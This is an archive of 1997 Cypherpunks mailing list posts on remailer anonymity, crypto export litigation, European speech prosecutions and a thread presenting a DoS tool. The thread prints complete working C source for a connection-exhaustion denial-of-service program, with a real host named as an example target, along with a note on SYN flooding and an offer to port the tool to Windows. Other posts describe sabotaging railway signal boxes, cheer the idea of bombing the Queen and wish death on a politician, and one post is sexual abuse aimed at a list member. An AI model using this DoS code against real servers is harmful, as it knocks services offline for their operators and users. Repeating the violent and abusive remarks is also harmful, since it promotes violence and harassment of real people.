From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 7 Jun 1997 08:28:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Trash your Enemy's Server
In-Reply-To: <199706062334.SAA25668@manifold.algebra.com>
Message-ID: <199706062352.QAA18259@netcom3.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Igor writes:

[C program which allegedly does a DoS attack on a server]

I thought the correct way to do this was to spew packets with random
return addresses and fill up the host's listen table with half open TCP
connections waiting to time out. 

Opening 1,000 genuine TCP connections to a host wastes both the host's
resources as well as yours, and is a tad obvious should your target
log packets with your IP address in them. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0093.myriad.ml.org (Matthew Ghio)
Date: Sat, 7 Jun 1997 08:29:44 +0800
To: cypherpunks@cyberpass.net
Subject: Who subscribes to the list?
Message-ID: <199706070022.RAA04412@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



If you're worried that someone might find out who is subscribed to the list
by querying some of the majordomos, don't bother.  I already have a list of
all your IP addresses.

Sendmail has a nice feature which checks all the sender or recipient
addresses by doing DNS lookups on them.  My nameserver is watching you. :)


P.S. I'm sure none of you would be foolish enough to use penet-style
remailers which do not encrypt the message headers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Sat, 7 Jun 1997 08:36:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Privacy-loving Europeans are at it again
Message-ID: <3398AB5F.3CB8D846@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain



It's not clear from the attributions who originally wrote:

>>>The New York Times reports on page one the German
>>>prosecution of a woman who linked her home page to
>>>Radikal. It reviews XS4ALL's role, describes Radikal
>>>and its mirror sites and links to them all:
>>>
>>> http://www.nytimes.com/library/cyber/week/060697germany.html

This story was stale soon after it hit the "presses." The trial
is on hold as the government looks (in vain?) for expert
witnesses who support their position.

In unrelated news, Reuters is reporting that the head of
CompuServe's operations in Germany, the guy who is being sued in
Munich on kiddie porn charges, is leaving to start his own
company.

-rich
 http://www.stanford.edu/~llurch/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Sat, 7 Jun 1997 08:41:13 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
Message-ID: <Pine.GUL.3.95.970606173457.7265B-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I have reasonable doubts as to whether
Paul Bradley <paul@fatmans.demon.co.uk> wrote:

> > not! The major reason people can't live together is furnished by
> > politicians who feel they should make it to history books ;-(
> 
> Tims post made a good point, people soon forget the causes of conflict 
> and only see the effects, today, hardly anyone in the UK sees the IRA as 
> an organisation devoted to liberating NI, merely a bunch of thugs. Of 
> course they have brought this on themselves by indiscriminately blowing 
> things up. Talking of which the Queen is visiting Hastings (a town about 
> 5 miles from me) today, I hope the IRA blow her up...

How many Irish nationalists do you know? The ones I know consider the
IRA to be a bunch of thugs. Their attitude towards sympathizers in the
US is similar to the attitude most Israelis have towards the kind of
American wackos who killed Rabin. That's probably too nuanced for you,
so to simplify: I think they're a bunch of thugs. They're just as
thuggish towards "their own" as they are towards the Loyalists. Express
a moderate or humanistic point of view in certain NI neighborhoods and
the IRA thugs will make sure you're censored for good. AS Bill Frantz
pithed a few weeks ago: the problem is not anarchy -- the problem is
too many competing governments in one place. Thuggery isn't the answer
to historical thuggery.

- -rich
 http://www.stanford.edu/~llurch/

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 7 Jun 1997 08:54:38 +0800
To: cypherpunks@Algebra.COM
Subject: Privacy in Europe
Message-ID: <Pine.3.89.9706061758.A25516-0100000@netcom22>
MIME-Version: 1.0
Content-Type: text/plain



The recent post by John Young about the German woman charged with linking 
to Radikal caused me to investigate this issue.

You may have heard that Radikal had an article on sabotaging train
systems. The article simply stated that if you break open a certain type
of control box found next to train tracks and yank the circuit boards, the
trains will refuse to enter the given track segment. Hardly the worst of
possible sabotages and considerably less fatal than other methods discussed
on a mailing list near you. 

BTW, the woman has now been slapped with a new charge. Apparently it is 
illegal in Germany to publish criminal complaints. [Due to privacy 
regulations?]

Since the woman has the official paperwork detailing the charges against
her on her web site, she has now been charged *again* for violating the
prohibition against publishing the official court documents. 

Things are better in Europe? You must to be joking.

-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0094.myriad.ml.org (Matthew Ghio)
Date: Sat, 7 Jun 1997 09:20:04 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Who subscribes to the list?
In-Reply-To: <199706070022.RAA04412@myriad.alias.net>
Message-ID: <199706070111.SAA15372@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
> >P.S. I'm sure none of you would be foolish enough to use penet-style
> >remailers which do not encrypt the message headers.
> 
> 
> Your point being??


While I am sure most readers of this list are well aware that remailed
messages which are not encrypted and chained are not secure, there is a
class of users who are not yet aware of this fact.  I was pointing out
the relative ease with which their identities could be compromised by
someone simply logging DNS traffic.  In addition, there was some recent
discussion over whether or not it was possible to obtain the subscriber
list from cyberpass.net and algebra.com.  Even if the subscriber list
is not published, there is an alternative method to determine who
subscribes to the list.

There are, of course, other methods, such as Return-Receipt headers and
embedded html tags, but tracking DNS traffic tends to be easy to do on
a wide scale without alerting the subjects that you are investigating.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 07:41:21 +0800
To: bugtraq@netspace.org
Subject: Trash your Enemy's Server
Message-ID: <199706062334.SAA25668@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



/***************************************************************************/
/* con_dos.c -- Denial Of Service by opening many dangling TCP Connections */
/* Copyright(C) 1997 Ignoramus_Chewed-Off@algebra.com                      */
/***************************************************************************/

const char * Usage = 
"Error: %s\n"
"USAGE: %s (block|grind) hostname service# #connections\n"
"\n"
"This program opens #connections connections to the specified host.\n"
"It can be used to deny services, slow down and crash Internet servers.\n"
"\n"
"If #connections is set to 0, it opens as many connections as it can\n"
"and continues trying to do so as long as it runs. Use Control-C to \n"
"interrupt it. NOTE that depending on your OS, it may hurt you too.\n"
"\n"
"If #connections is not 0, this program only opens #connections of them.\n"
"After that, if the first argument is 'block', it simply sleeps. If the\n"
"first argument is 'grind', it starts opening and closing connections\n"
"in a round robin manner every second.\n"
"\n"
"This program is for EDUCATIONAL USE ONLY. Please do not use it for\n"
"anything illegal. There is no warranty. Copyright(C) Ignoramus Chewed-Off.\n"
"\n"
"USE EXAMPLE: \n"
"	%s grind victim.com 80 1000\n"
"-- opens 1000 HTTP connections to victim.com and waits\n"
"	%s block www.agis.net 80 0\n"
"-- constantly attempts to open HTTP connections to www.agis.net\n"
;

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define USAGE( msg ) 	\
   fprintf( stderr, Usage, msg, argv[0], argv[0], argv[0] ), \
   exit( 1 )

/* after I open this many additional connections (for n_connections == 0),
   I wait for 1 second, just in case 
*/

#define MAX_CONN 50

typedef enum { CON_BLOCK, CON_GRIND } ConMode;

/* create a client socket connected to PORT on HOSTNAME */
int create_client_socket(char ** hostname, int port)
{
    struct sockaddr_in sa ;
    struct hostent *hp ;
    int a, s ;
    long addr ;


    bzero(&sa, sizeof(sa)) ;
    if ((addr = inet_addr(*hostname)) != -1) {
        /* is Internet addr in octet notation */
        bcopy(&addr, (char *) &sa.sin_addr, sizeof(addr)) ; /* set address */
        sa.sin_family = AF_INET ;
    } else {
        /* do we know the host's address? */
        if ((hp = gethostbyname(*hostname)) == NULL) {
            return -2 ;
        }
        *hostname = hp->h_name ;
        bcopy(hp->h_addr, (char *) &sa.sin_addr, hp->h_length) ;
        sa.sin_family = hp->h_addrtype ;
    }

    sa.sin_port = htons((u_short) port) ;

    if ((s = socket(sa.sin_family, SOCK_STREAM, 0)) < 0) { /* get socket */
        return -1 ;
    }
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {  /* connect */
        close(s) ;
        return -1 ;
    }
    return s ;
}

int main( int argc, char *argv[] ) 
{
  char * name;
  int port, n_connections;
  int s;
  ConMode mode; 


  if( argc != 5
      || (argc >= 1 && (!strcmp( argv[1], "--help" ) 
                        || !strcmp( argv[1], "-help" ))))
    {
      USAGE( "Wrong Number of Arguments" );
    }

  if( !strcmp( argv[1], "block" ) )
    {
      mode = CON_BLOCK; 
    }
  else if( !strcmp( argv[1], "grind" ) )
    {
      mode = CON_GRIND;
    }
  else
    {
      USAGE( "First argument must be 'block' or 'grind'" );
    }

  name = argv[2];

  if( (port = atoi( argv[3] ) ) == 0 )
    {
      USAGE( "Port Number must be numeric" );
    }

  if( !isdigit( argv[4][0] ) )
    {
      USAGE( "Port Number must be numeric" );;
    }

  n_connections = atoi( argv[4] );

  if( n_connections == 0 ) /* infinite loop */
    {
      int i = 0;
      printf( "ATTENTION: This may damage even your "
               "computer. Press ^C to abort\n" );

      while( 1 )
        {
          if( create_client_socket( &name, port ) == -1 )
            {
              printf( "Connection refused; sleeping.\n" );
              sleep( 1 );
            }
          else
            {
              if( (i++ % MAX_CONN) == (MAX_CONN-1) )
                {
                  printf( "You can interrupt me here. I have %d "
                          "connections open. \nContinuing...\n", i );
                  sleep( 1 );
                }
            }
        }
    }
  else
    {
      int * fds = (int *)calloc( n_connections, sizeof( int ) );
      int i = 0;

      if( fds == 0 )
        USAGE( "Memory Allocation Error" ); 

      while( 1 ) /* in a loop, keep opening descriptors */
        {
          if( fds[i] != 0 )
            {
              printf( "Closing %d...\n", i );
              close( fds[i] );
              sleep( 1 );
            }

          while( 1 ) /* try to open the new one */
            {
              if( (fds[i] = create_client_socket( &name, port )) == -1 )
                {
                  printf( "Connection refused; sleeping.\n" );
                  sleep( 1 );
                }
              else
                {
                  printf( "Opened %d.\n", i );
                  break;
                }
            }

          i++;

          if( i == n_connections ) /* we've gone full circle */
            {
              printf( "Done with %d connections\n", i );

              if( mode == CON_BLOCK )
                {
                  printf( "I am going to sleep forever...\n", i );
                  while( 1 ) 
                    sleep(1);
                }
              else /* repeating the loop */
                i = 0;
            }
        }
    }
}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 07:24:25 +0800
To: cypherpunks@toad.com
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.LNX.3.91.970606110806.1642F-100000@fatmans.demon.co.uk>
Message-ID: <HDFw8D25w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:
> Tims post made a good point, people soon forget the causes of conflict
> and only see the effects, today, hardly anyone in the UK sees the IRA as
> an organisation devoted to liberating NI, merely a bunch of thugs. Of

Of course they forget the nearly thousand years of English thuggery
in Ireland...

> course they have brought this on themselves by indiscriminately blowing
> things up. Talking of which the Queen is visiting Hastings (a town about
> 5 miles from me) today, I hope the IRA blow her up...

That would be just lovely!

I'm sorry the IRS missed a chance to blow up the Blair motherfucker
during his recent $400 dinner.

Please send donations to Sinn Fein every time you see Hallam Baker post.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 07:51:49 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <Pine.GSO.3.95.970606111448.3131B-100000@cp.pathfinder.com>
Message-ID: <P4gw8D26w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:
> I suspect we agree on spam.)

I kind of doubt it.

Do you believe, as I do, that "spam" deserves the protection as any other kind
of speech, and that so libel, child pornography, and bolb-making instructions?

I didn't think so. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 07:52:03 +0800
To: cypherpunks@toad.com
Subject: Re: dnews?
In-Reply-To: <3.0.1.32.19970606061001.0082a370@flex.com>
Message-ID: <ZkHw8D27w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Dr. Jai Maharaj" <jai@flex.com> writes:

> Recently, when I post an article in some newsgroups, the following
> arrives by E-Mail almost insyantly.  Then several hours later, the
> article is forge-canceled.  Any input will be appreciated! -  Jai Maharaj
>
> > Return-Path: dnews@152.132.1.40

I had a couple of those.  I don't think they're related to the
forged cancels from bellatlantic (which should be screamed about).

I'd appreciate all followups to the thread "Chris Lewis has utterly lost it",

Thanks.  Major updates to net.scun hopefully tonite.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 7 Jun 1997 08:39:51 +0800
To: ghio@temp0093.myriad.ml.org (Matthew Ghio)
Subject: Re: Who subscribes to the list?
In-Reply-To: <199706070022.RAA04412@myriad.alias.net>
Message-ID: <199706070030.TAA16138@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706070022.RAA04412@myriad.alias.net>, on 06/06/97 
   at 05:22 PM, ghio@temp0093.myriad.ml.org (Matthew Ghio) said:

>If you're worried that someone might find out who is subscribed to the
>list by querying some of the majordomos, don't bother.  I already have a
>list of all your IP addresses.

>Sendmail has a nice feature which checks all the sender or recipient
>addresses by doing DNS lookups on them.  My nameserver is watching you.
>:)


>P.S. I'm sure none of you would be foolish enough to use penet-style
>remailers which do not encrypt the message headers.


Your point being??

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5issY9Co1n+aLhhAQHS/QP/bLlAVf4ztvKpj+0RlWPRUKMqpUafOjn/
MOQhTwGNQGH0BcbiDuRaUcheJr9rY2MTnFrdocKsJu6nJ9fWnQCwE4RhstxWwrhG
/RClFns7NmQikl50DqPPjnAIrmVyPL5OhBU2/nAPicqU9NRaTaNrsFke9W7eitOo
PBgtFR4QDBI=
=nHzy
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 7 Jun 1997 02:18:51 +0800
To: cypherpunks@toad.com
Subject: [URGENT] Sphere packings
Message-ID: <199706061806.UAA27392@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim C[unt] May's 16Kb brain's single 
convolution is directly wired to his rectum 
for input and his T1 mouth for output. That's 
16K bits, not bytes. Anal intercourse has 
caused extensive brain damage.

 ///////
 \-oo-/  Tim C[unt] May
  \--/
   \/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 09:25:14 +0800
To: devnull@manifold.algebra.com
Subject: Re: Trash your Enemy's Server
In-Reply-To: <Takw8D29w165w@bwalk.dm.com>
Message-ID: <199706070108.UAA26269@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Dr.Dimitri Vulis KOTM wrote:
> ichudov@Algebra.COM (Igor Chudov @ home) writes:
> > #include <stdio.h>
> > #include <string.h>
> > #include <stdlib.h>
> > #include <sys/types.h>
> > #include <netdb.h>
> > #include <sys/socket.h>
> > #include <netinet/in.h>
> 
> Very good.  If I had the time, I would have used the same #ifdefs used in

Thanks.

> my cancelbot (available at http://www.thecia.net/~kibo/cancelbot.html, btw)
> to make a Windows 95 binary.
> Somehow I think the people most likely to use this would be running W95 and
> have no C compiler, rather than running a flavor of Unix/Linux.

I personally experience very unpleasant emotions whenever I have to do
anything with Win 95. Perhaps someone else could do it. Also, it is 
_possible_ that this program will not work too well on Win 95 because
it would block other applications. (I am not sure about this)

> Perhaps someless than busy than I am can do this. :-)


	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 09:18:40 +0800
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Trash your Enemy's Server
In-Reply-To: <199706062352.QAA18259@netcom3.netcom.com>
Message-ID: <199706070111.UAA26287@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Mike Duvos wrote:
> 
> 
> Igor writes:
> 
> [C program which allegedly does a DoS attack on a server]
> 
> I thought the correct way to do this was to spew packets with random
> return addresses and fill up the host's listen table with half open TCP
> connections waiting to time out. 

There are patches that protect against this. The DOS attack that you mention
has been beaten to death in BugTraq and other places. It worked great until
all major OSes were patched. (of course some backwards sites still run
unpatched OSes)

It is very hard to protect against my attack, because it can only be done
at the application level. xinetd _may_ be helpful, though, if the service
being attacked is started from [x]inetd.

> Opening 1,000 genuine TCP connections to a host wastes both the host's
> resources as well as yours, and is a tad obvious should your target
> log packets with your IP address in them. 

Yes, BUT most typically a new connection creates only a new file 
descriptor on the host, and a whole new process on the target host.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 09:26:27 +0800
To: ghio@temp0094.myriad.ml.org (Matthew Ghio)
Subject: Re: Who subscribes to the list?
In-Reply-To: <199706070111.SAA15372@myriad.alias.net>
Message-ID: <199706070117.UAA26367@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Matthew Ghio wrote:
> William H. Geiger III wrote:
> > >P.S. I'm sure none of you would be foolish enough to use penet-style
> > >remailers which do not encrypt the message headers.
> > Your point being??
> 
> 
> While I am sure most readers of this list are well aware that remailed
> messages which are not encrypted and chained are not secure, there is a
> class of users who are not yet aware of this fact.  I was pointing out
> the relative ease with which their identities could be compromised by
> someone simply logging DNS traffic.  In addition, there was some recent
> discussion over whether or not it was possible to obtain the subscriber
> list from cyberpass.net and algebra.com.  Even if the subscriber list
> is not published, there is an alternative method to determine who
> subscribes to the list.
> 
> There are, of course, other methods, such as Return-Receipt headers and
> embedded html tags, but tracking DNS traffic tends to be easy to do on
> a wide scale without alerting the subjects that you are investigating.
> 

Another danger of  using remailers without encryption is that it is very
easy to compromise one's identity due to little mistakes and malformed
messages.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 7 Jun 1997 11:30:03 +0800
To: declan@well.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <P4gw8D26w165w@bwalk.dm.com>
Message-ID: <3.0.2.32.19970606201814.03d26560@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain




>On Fri, 6 Jun 1997, Dr.Dimitri Vulis KOTM wrote:
[snip]
>> Do you believe, as I do, that "spam" deserves the protection as any
other kind
>> of speech, and that so libel, child pornography, and bolb-making 
                                                        ^^^^^^^^^^^
instructions?
^^^^^^^^^^^^^

How does one make bolbs anyway?  Are they similar to bolb-bearings?  Do you
have to plant them in the spring?  Why would people want to prevent you
from making them?  Are they any relation to J.R. "BolB" Dobbs?

Dyslexics minds want to know!

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Sat, 7 Jun 1997 11:47:04 +0800
To: gnu@toad.com
Subject: June 18th SF C'punks meeting: export controls on trial
Message-ID: <199706070323.UAA22781@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



We're having yet another "Cypherpunks Dress-Up Day" on Wednesday, June
18th.  Meet at the Federal Building in San Francisco, 450 Golden Gate
Avenue, at 10:15AM, dressin' sharp 'n' actin' cool.  There will also
be a regular 2nd-Saturday c'punks meeting this month (I think it's at
PGP, Inc.)

The Bernstein case is moving toward a close.  Both we and the
government have asked the court to render its final judgement.  We're
asking her to declare both the State Department and Commerce
Department crypto export control schemes unconstitutional, and to
enjoin (order) the government to stop enforcing them.  They're asking
to keep the status quo, and keep full discretion to change it whenever
they want.

The two sides have exchanged their motions, declarations, and
opposition briefs.  The final salvos will occur on the morning of June
18th, as we do "oral argument" in front of Judge Marilyn Hall Patel.
There she'll get to question us before she makes her decision.
In this final round of hearings, we're exploring these issues:

	*  Do the new Commerce Department export controls require people
	   to get a government license before they can speak?
	*  Do these controls impermissibly punish speech after the fact?
	*  Are they too vague to constitutionally regulate speech?
	*  Are they so broadly worded that they unconstitutionally
	   limit speech protected by the First Amendment?
	*  Can Prof. Bernstein challenge the law directly, as it applies
	   to everyone, or only as it applies to him?
	*  Does the President's declaration of an "international
	   emergency" have any effect, when there is no emergency and
	   the only issue is domestic and usual?
	*  Can cryptographic assistance, technology, and software be
	   regulated even though the law only applies to "foreign interest
	   in property" and excludes "communications"?
	*  Can these things be regulated even though the law precludes
	   regulation of "informational materials"?
	*  Should the judge void, or reaffirm, her previous decision
	   against the State Dept. export controls?
	*  Should the judge merely declare the Government's actions
	   unconstitutional, or should she also explicitly order them
	   to stop?
	*  Should she stop the enforcement of the unconstitutional
	   controls against everyone, or only against Prof. Bernstein?

Watch the wheels of justice grind!  Shake hands with the intrepid
lawyers who are working hard to protect our rights!  Banter with NSA
representatives specially flown in for the occasion!  Talk with
journalists who cover crypto!  Be quoted talking about crypto freedom!
Finally meet our reclusive plaintiff, Professor Dan Bernstein!

We will follow the hearing with a nearby press conference, then have
lunch at Max's Opera Plaza, a block away at Van Ness Avenue and Golden
Gate Avenue.  (Alternative lunch ideas are welcome.)

As background, Dan Bernstein, ex-grad-student from UC Berkeley, is
suing the State Department, NSA, Commerce Department, Justice
Department, and other agencies, with help from the EFF.  These
agencies restrained Dan's ability to publish a paper, as well as
source code, for the crypto algorithm that he invented.  We claim that
their procedures, regulations, and laws are not only unconstitutional
as applied to Dan, but in general.  Full background and details on the
case, including all of our legal papers (and many of the government's
as well), are (or will soon be) in the EFF Web archives at:
    http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case.

Like Phil Karn's and Peter Junger's cases, this lawsuit really has the
potential to outlaw the whole NSA crypto export scam.  We intend to
make your right to publish and export crypto software as well-
protected by the courts as your right to publish and export books.  It
will probably take more years, and an eventual Supreme Court decision,
to make it stick.  At the last hearing, we convinced the judge that
the State Department export control laws really are unconstitutional.
Her order restoring our legal right to publish crypto source code was
a wonderful Christmas present.  The government stopped issuing State
Department licenses, but two weeks later started requiring virtually
identical Commerce Department licenses.  We think Judge Patel will see
through this sham, and we hope she'll explicitly order them to cease.

Please make a positive impression on the judge.  Don those
mothball-scented conservative duds.  Show her -- by showing up -- that
this case matters to more people than just the plaintiff and
defendant.  Demonstrate that her decision will make a difference to
society.  That the public and the press are watching, and really do
care that she handles the issue well.

We'll have to be quiet and orderly while we're in the courthouse.
There will be no questions from the audience (that's us), and no
photography there, but the session will be tape-recorded and
transcribed, and you can take notes if you like.  The lobby guards
will want to hold onto guns, "munitions", and even small pocketknives,
before they'll let you go upstairs to the courtrooms.

It's unlikely that Judge Patel will decide then-and-there.  Instead,
we will get some insights into how she is leaning, based on her
questions and comments.  Her written decision will come out some weeks
or months later.  Even if she decides in our favor and issues an
injunction, this isn't the end of the work.  The Government would
almost certainly attempt to have the injunction stayed (stopped) while
they appeal the case to the 9th Circuit Court of Appeals (also here in
San Francisco).  Then there's the appeal itself, in which we'll
probably spend six months to a year defending Judge Patel's decision
in front of a higher court.  Followed by a potential appeal to the
Supreme Court.

The fat lady won't sing on June 18th, but the orchestra will be in
full swing and she'll be waiting in the wings.  Please join us on the
dance floor, in your best regalia.

	John Gilmore

PS: If you can't come, you can still contribute.  Come to EFF's
rock-and-roll fund-raiser at the Fillmore the following night,
Thursday, June 19th, 7PM.  $100/person, including a year of EFF
membership.  Current EFF members can buy two tickets at half price.
There you really *will* get to dance!  (If you're a musician, find a
sponsor, and you can play at the Fillmore.)  Reserve tickets at
http://www.eff.org/fillmore/.  See you there!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 08:52:09 +0800
To: cypherpunks@toad.com
Subject: Re: Trash your Enemy's Server
In-Reply-To: <199706062334.SAA25668@manifold.algebra.com>
Message-ID: <Takw8D29w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



ichudov@Algebra.COM (Igor Chudov @ home) writes:

> #include <stdio.h>
> #include <string.h>
> #include <stdlib.h>
> #include <sys/types.h>
> #include <netdb.h>
> #include <sys/socket.h>
> #include <netinet/in.h>

Very good.  If I had the time, I would have used the same #ifdefs used in
my cancelbot (available at http://www.thecia.net/~kibo/cancelbot.html, btw)
to make a Windows 95 binary.

Somehow I think the people most likely to use this would be running W95 and
have no C compiler, rather than running a flavor of Unix/Linux.

Perhaps someless than busy than I am can do this. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 7 Jun 1997 09:47:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Privacy in Europe
Message-ID: <199706070138.UAA17112@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.3.89.9706061758.A25516-0100000@netcom22>, on 06/06/97 
   at 05:49 PM, Lucky Green <shamrock@netcom.com> said:


>The recent post by John Young about the German woman charged with linking
> to Radikal caused me to investigate this issue.

>You may have heard that Radikal had an article on sabotaging train
>systems. The article simply stated that if you break open a certain type
>of control box found next to train tracks and yank the circuit boards,
>the trains will refuse to enter the given track segment. Hardly the worst
>of possible sabotages and considerably less fatal than other methods
>discussed on a mailing list near you. 

>BTW, the woman has now been slapped with a new charge. Apparently it is 
>illegal in Germany to publish criminal complaints. [Due to privacy 
>regulations?]

>Since the woman has the official paperwork detailing the charges against
>her on her web site, she has now been charged *again* for violating the
>prohibition against publishing the official court documents. 

>Things are better in Europe? You must to be joking.

The problem with Europe is we kicked out the Germans and left the Nazi's.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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LY0TCxv1BeJrzCw8nvWleouOw3IwzJmK3EiCp6A4K9svrZPfWGSXhZjvyW+6tJPB
ujAz/gyUj2mFNdLz6/bJHp4uIirWPxyiJrGlBuEA8uJrGiu4n20zsXeBAvNNUY6u
6kiak6sbr9Y=
=Tj5L
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 7 Jun 1997 10:00:29 +0800
To: cypherpunks@einstein.ssz.com
Subject: Re: Arguments for good crypto and against GAK.
Message-ID: <199706070151.UAA17306@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706051819.NAA06360@einstein.ssz.com>, on 06/05/97 
   at 03:00 PM, "Peter Trei" <trei@process.com> said:

>In short, it's possible to pro-crypto, anti-GAK 
>without ever getting near sounding  anti-government; 
>in fact, being pro-crypto, anti-GAK can be a 
>conservative, anti-crime, law & order position.

Well the real problem here is not GAK it is just a symptom.

The problem is the position that our current government and especially
LEAs in that government have taken that we have no rights. That the
Constitution and the Bill of Rights have no meaning unless it is
politically convienant to them.

I don't see how anyone can look at the governments behavior in its push
for GAK and not have utter contempt for them.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
